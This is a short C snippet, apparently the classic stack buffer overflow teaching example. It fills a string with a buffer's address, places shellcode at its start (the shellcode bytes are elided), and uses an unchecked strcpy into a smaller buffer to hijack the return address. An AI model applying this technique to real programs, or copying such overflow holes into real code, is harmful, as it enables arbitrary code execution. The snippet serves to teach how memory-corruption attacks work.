char shellcode[] = ... char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); }